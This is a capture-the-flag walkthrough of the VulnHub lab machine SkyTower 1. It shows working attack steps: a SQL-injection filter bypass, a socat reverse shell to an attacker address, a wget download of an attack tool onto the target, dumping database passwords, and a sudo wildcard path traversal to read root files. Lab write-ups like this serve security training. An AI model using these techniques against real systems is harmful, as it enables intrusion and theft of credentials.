SkyTower 1 Walkthrough (OSCP Prep)
Introduction
Today in the OSCP Prep series, we’ll take a look at SkyTower: 1 from VulnHub.
This is an interesting machine that will require quite a bit of outside-the-box thinking at every step.
Host Discovery
First things first: we need to find our target machine on the network. We’ll use Netdiscover.
(ori0n@apophis) --> [ ~ ]
==> sudo netdiscover -i ens33 -r 10.0.10.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.10.1 00:50:56:c0:00:08 1 60 VMware, Inc.
10.0.10.2 00:50:56:fb:3b:27 1 60 VMware, Inc.
10.0.10.100 00:0c:29:cf:bc:d9 1 60 VMware, Inc.
10.0.10.199 00:50:56:eb:d5:d0 1 60 VMware, Inc.
We’ve located the target at 10.0.10.100
. Let’s update our /etc/hosts
file:
10.0.10.100 skytower
Scanning
With our target IP, we’ll use RustScan to search for any open ports and version information. We’ll also save the results of the scan to a file for later reference.
(ori0n@apophis) --> [ ~/skytower ]
==> rustscan -a skytower -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.100:80
Open 10.0.10.100:3128
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.100
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 06:41 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 06:41
Scanning 10.0.10.100 [2 ports]
Completed Ping Scan at 06:41, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 06:41
Scanning skytower (10.0.10.100) [2 ports]
Discovered open port 80/tcp on 10.0.10.100
Discovered open port 3128/tcp on 10.0.10.100
Completed Connect Scan at 06:41, 0.00s elapsed (2 total ports)
Initiating Service scan at 06:41
Scanning 2 services on skytower (10.0.10.100)
Completed Service scan at 06:42, 11.01s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.100.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.00s elapsed
Nmap scan report for skytower (10.0.10.100)
Host is up, received syn-ack (0.00037s latency).
Scanned at 2021-08-16 06:41:54 CDT for 12s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.2.22 ((Debian))
3128/tcp open http-proxy syn-ack Squid http proxy 3.1.20
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
We find an Apache web server and a Squid proxy.
We may be able to route through the proxy to discover more open ports on the SkyTower VM that are not accessible from outside the machine. proxychains will allow us to bounce normal commands through any valid proxies. To use it, we first have to add the target proxy to the proxychains configuration file located at /etc/proxychains.conf
. Add the following line:
http 10.0.10.100 3128
Now we’ll re-run the port scan, but we’ll run it through proxychains. I’ll use the -q
flag to make the output a bit quieter.
(ori0n@apophis) --> [ ~/skytower ]
==> proxychains -q rustscan -a localhost -- -sV -oA nmap-proxychains-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 127.0.0.1:22
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA nmap-proxychains-version" on ip 127.0.0.1
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 06:51 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 06:51
Scanning 127.0.0.1 [2 ports]
Completed Ping Scan at 06:51, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 06:51
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 22/tcp on 127.0.0.1
Completed Connect Scan at 06:51, 0.00s elapsed (1 total ports)
Initiating Service scan at 06:51
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 06:51, 0.01s elapsed (1 service on 1 host)
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:51
Completed NSE at 06:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:51
Completed NSE at 06:51, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up, received conn-refused (0.0015s latency).
Scanned at 2021-08-16 06:51:03 CDT for 0s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.0p1 Debian 4+deb7u1 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
So we find an SSH server running on the machine as well, but we can only get to it by pivoting through the squid proxy. Keep this in mind for later. For now, we’ll move on to the webserver.
Enumerating the Web Server
If we open a browser and head over to http://skytower
, we’re greeted with a standard login page.
Trying some basic default credentials leads nowhere, so we move on to SQL injection. We’ll use the standard string ' or 1=1 or '
for both the email and password fields.
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11 1' and password='' 11 1'' at line 1]
And a MySQL error message is displayed. This is good. We can use this.
Notice that it is showing us part of the actual query. We can see that it seems to be filtering out some of our malicious input. Let’s see if we can fool it.
Moving to Burp Repeater and playing with the input, we see that we can get around the filter by inserting filtered characters inside of filtered words. For example, if we want to get the word OR
through the filter, we can use O=R
.
Knowing this, we find that using the sting ' o=r tr=ue o=r '
for both the email and password fields gives us a good response:
We find SSH creds: john:hereisjohn
.
Getting a Foothold
With SSH credentials in hand, let’s try to SSH into the box.
(ori0n@apophis) --> [ ~/pwnos ]
==> proxychains -q ssh john@skytower
john@skytower's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 16 00:45:29 2021 from 10.0.10.100
Funds have been withdrawn
Connection to skytower closed.
Hmmm. We get a connection, but we are immediately booted. No shell.
A simple way around this is to try the -C
option to the ssh
command. This will allow us to run a command on the server after successful authentication. Let’s try to run bash
.
(ori0n@apophis) --> [ ~/pwnos ]
==> proxychains -q ssh john@skytower -C bash
john@skytower's password:
id
uid=1000(john) gid=1000(john) groups=1000(john)
It works! However, we are stuck with a limited shell for the moment. If we try to check our sudo
privileges, we’re out of luck:
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
sudo: no tty present and no askpass program specified
So let’s upgrade our shell. We’ll try to use the Python trick.
python -c 'import pty; pty.spawn("/bin/bash")'
bash: line 4: python: command not found
2</dev/null find / | grep python
/usr/lib/python2.6
/usr/lib/python2.6/dist-packages
/usr/lib/python2.6/dist-packages/debconf.py
/usr/lib/python3
/usr/lib/python3/dist-packages
/usr/lib/python3/dist-packages/debconf.py
/usr/lib/python2.7
/usr/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages/debconf.py
/usr/share/nano/python.nanorc
It looks like we don’t have Python installed. Maybe we can use Socat instead. We’ll download a statically-linked socat
from GitHub and set up our listener.
On the attacker:
(ori0n@apophis) --> [ ~/skytower ]
==> socat file:`tty`,rawer tcp-listen:4444,reuseaddr
And on the victim:
cd /home/john
wget --no-check-certificate https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64 -O socat
--2021-08-16 03:41:30-- https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64
Resolving github.com (github.com)... 140.82.114.4
Connecting to github.com (github.com)|140.82.114.4|:443... connected.
WARNING: The certificate of `github.com' is not trusted.
WARNING: The certificate of `github.com' hasn't got a known issuer.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/122479482/83eda080-a10c-11eb-8f4b-7e10c487cf11?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210816%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210816T124103Z&X-Amz-Expires=300&X-Amz-Signature=4986e58f9eccbe2467e72eb74dc0c48d6da17c9cdfca193461678f6ec413ac43&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=122479482&response-content-disposition=attachment%3B%20filename%3Dsocat-1.7.4.1-x86_64&response-content-type=application%2Foctet-stream [following]
--2021-08-16 03:41:30-- https://github-releases.githubusercontent.com/122479482/83eda080-a10c-11eb-8f4b-7e10c487cf11?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210816%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210816T124103Z&X-Amz-Expires=300&X-Amz-Signature=4986e58f9eccbe2467e72eb74dc0c48d6da17c9cdfca193461678f6ec413ac43&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=122479482&response-content-disposition=attachment%3B%20filename%3Dsocat-1.7.4.1-x86_64&response-content-type=application%2Foctet-stream
Resolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.110.154, 185.199.111.154, 185.199.109.154, ...
Connecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.110.154|:443... connected.
WARNING: The certificate of `github-releases.githubusercontent.com' is not trusted.
WARNING: The certificate of `github-releases.githubusercontent.com' hasn't got a known issuer.
HTTP request sent, awaiting response... 200 OK
Length: 3046088 (2.9M) [application/octet-stream]
Saving to: `socat'
...
2021-08-16 03:41:31 (9.39 MB/s) - `socat' saved [3046088/3046088]
chmod +x socat
./socat tcp:10.0.10.10:4444 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
Back at our listener, we get a connection, but no shell:
(ori0n@apophis) --> [ ~/skytower ]
==> socat file:`tty`,rawer tcp-listen:4444,reuseaddr
bash: no job control in this shell
Funds have been withdrawn
We’ll have to use a trick here to fool Bash into spawning a shell. If we change our home directory, it will work. We can do this by setting the HOME
environment variable.
Set up the socat listener on the attacker once again, then back on the victim, run:
HOME=/dev/shm ./socat tcp:10.0.10.10:4444 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
And we have an upgraded shell. Let’s try to check our sudo
rights again.
john@SkyTower:/home/john$ sudo -l
sudo: no tty present and no askpass program specified
Hmmm. We still don’t have a fully functional shell. Since Python isn’t available, we can try to use script
:
john@SkyTower:/home/john$ script -qc bash /dev/null
john@SkyTower:/home/john$ sudo -l
[sudo] password for john:
Sorry, user john may not run sudo on SkyTower.
And now we have an interactive TTY. But it looks like john
isn’t going to get us far.
Enumerating MySQL
We know the target is running a MySQL server, and we know the login page on the webserver is using MySQL, so it’s likely we can find some credentials. We’ll head to the webserver root and look for anything useful.
john@SkyTower:/home/john$ cd /var/www
john@SkyTower:/var/www$ ls
background2.jpg background.jpg index.html login.php
john@SkyTower:/var/www$ head login.php
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
if($db->connect_errno > 0){
die('Unable to connect to database [' . $db->connect_error . ']');
}
$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
We’ve got MySQL creds. Let’s see what databases we have available.
john@SkyTower:/var/www$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.35-0+wheezy1 (Debian)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.06 sec)
The SkyTech database is probably what the web application was using. If we got one user’s password out of it, maybe we can get more? Let’s have a look:
mysql> use SkyTech; show tables;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+
1 row in set (0.00 sec)
mysql> describe login;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| email | varchar(128) | NO | | NULL | |
| password | varchar(128) | NO | | NULL | |
+----------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+---------------------+--------------+
3 rows in set (0.00 sec)
We find two more usernames and passwords. Let’s see if sara
has anything for us.
john@SkyTower:/var/www$ su sara
Password:
Funds have been withdrawn
Damn. No shell again. We can use the -p
flag of the su
command to preserve our current environment. Maybe that will give us a shell.
john@SkyTower:/var/www$ su -p sara
Password:
sara@SkyTower:/var/www$ id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
It works! Now, let’s see if Sara has any sudo
privileges.
sara@SkyTower:/var/www$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
Capturing the Flag
So Sara can run /bin/cat
and /bin/ls
, but the system is restricting her to only cat
or list files in the /accounts
directory. Or is it really?
Note the *
wildcard in the commands. What if get a little creative here and try to list the contents of the /root
directory?
sara@SkyTower:/var/www$ sudo /bin/ls /accounts/../root -l
total 4
-rwx------ 1 root root 69 Jun 20 2014 flag.txt
Bingo! Now let’s get the flag using the same idea with cat
:
sara@SkyTower:/var/www$ sudo /bin/cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
Winner, winner, chicken dinner! We even get the root
password for our troubles!
Wrapping Up
So that’s SkyTower: 1. This ended up being a quite fun machine. I found it significantly more challenging than most of the previous entries the OSCP Prep series. It required quite a bit of creativity and thinking outside the box. All in all, it was a satisfying own.
Leave a Reply